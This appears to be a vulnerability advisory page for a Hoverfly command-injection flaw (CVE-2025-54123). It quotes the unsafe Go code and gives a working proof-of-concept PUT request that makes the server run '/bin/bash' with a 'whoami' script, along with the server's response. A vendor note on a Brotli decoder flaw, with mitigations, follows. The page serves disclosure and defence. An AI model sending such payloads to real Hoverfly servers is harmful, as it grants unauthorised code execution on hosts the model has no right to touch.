CVE-2025-54123

EUVD-2025-27608 · Published Sep 10, 2025

Hoverfly is vulnerable to Remote Code Execution through an insecure middleware implementation

Summary

It has been discovered that the middleware functionality in Hoverfly is vulnerable to command injection through its /api/v2/hoverfly/middleware endpoint due to insufficient validation and sanitization in user input.

Details

The vulnerability exists in the middleware management API endpoint /api/v2/hoverfly/middleware.

This issue is born due to combination of three code level flaws:

Insufficient Input Validation in middleware.go line 94-96:

func (this *Middleware) SetBinary(binary string) error {
    this.Binary = binary  // No validation of binary parameter here
    return nil
}

Unsafe Command Execution in local_middleware.go line 14-19:

var middlewareCommand *exec.Cmd
if this.Script == nil {
    middlewareCommand = exec.Command(this.Binary)  // User-controlled binary
} else {
    middlewareCommand = exec.Command(this.Binary, this.Script.Name())  // User-controlled binary and script
}

Immediate Execution During Testing in hoverfly_service.go line 173:

_, err = newMiddleware.Execute(testData)  // Executes middleware immediately for testing

POC

Send the below HTTP PUT request to http://localhost:8888 in order to create our malicious middleware, this will execute a simple whoami command on target. (ADMIN UI/API)

Here, when you send this request, The hoverify will processes the request and writes the script to a temporary file and During middleware validation, Hoverfly executes: /bin/bash /tmp/{hoverfly_script}, and Boom! The malicious script will get executed with Hoverfly's privileges.

PUT /api/v2/hoverfly/middleware HTTP/1.1
Host: localhost:8888
sec-ch-ua-platform: "macOS"
Accept-Language: en-US,en;q=0.9
Accept: application/json, text/plain, */*
sec-ch-ua: "Not)A;Brand";v="8", "Chromium";v="138"
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
sec-ch-ua-mobile: ?0
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8888/dashboard
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/json
Content-Length: 101

{
    "binary": "/bin/bash",
    "script": "whoami"
}

HTTP/1.1 422 Unprocessable Entity
Date: Sat, 12 Jul 2025 15:55:49 GMT
Content-Length: 540
Content-Type: text/plain; charset=utf-8

{"error":"Failed to unmarshal JSON from middleware\nCommand: /bin/bash /var/folders/c6/c708mhjj12j_d5sg_s80pybc0000gn/T/hoverfly/hoverfly_2749637664\ninvalid character 'k' looking for beginning of value\n\nSTDIN:\n{\"response\":{\"status\":200,\"body\":\"ok\",\"encodedBody\":false,\"headers\":{\"test_header\":[\"true\"]}},\"request\":{\"path\":\"/\",\"method\":\"GET\",\"destination\":\"www.test.com\",\"scheme\":\"\",\"query\":\"\",\"formData\":null,\"body\":\"\",\"headers\":{\"test_header\":[\"true\"]}}}\n\nSTDOUT:\nkr1shna4garwal\n"}

(Here, the user is kr1shna4garwal)

Impact

This allows an attacker to gain remote code execution (RCE) on any system running the vulnerable Hoverfly service. Since the input is directly passed to system commands without proper checks, an attacker can upload a malicious payload or directly execute arbitrary commands (including reverse shells) on the host server with the privileges of the hoverfly process.

Reporter:
@kr1shna4garwal

Technologies

Hoverfly HoverflySpectolabs Hoverfly

Weaknesses

CWE-78CWE-20

CVSS scores

v3.19.8CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

MITRE ATT&CK

Inferred

Where this vulnerability fits in an attack

ReconImpact

Initial Access

T1190Exploit Public-Facing Application

References

Potentially impacted assets

See if this affects your attack surface

Latest trending attack

Criticalyesterday

Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)

This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it. Why a second control CVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli ("br") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution. Any server that decompresses request bodies sent with "Content-Encoding: br" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library. The flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support. What this control checks Patrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service. How to read the result Potentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside. This check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification. Affected and fixed versions Google Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution. Recommendations Update every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library. Reduce the exposure until the update is deployed. Reject requests with "Content-Encoding: br" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as "gzip, br". On Envoy and Istio, disable request decompression for Brotli. Review outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.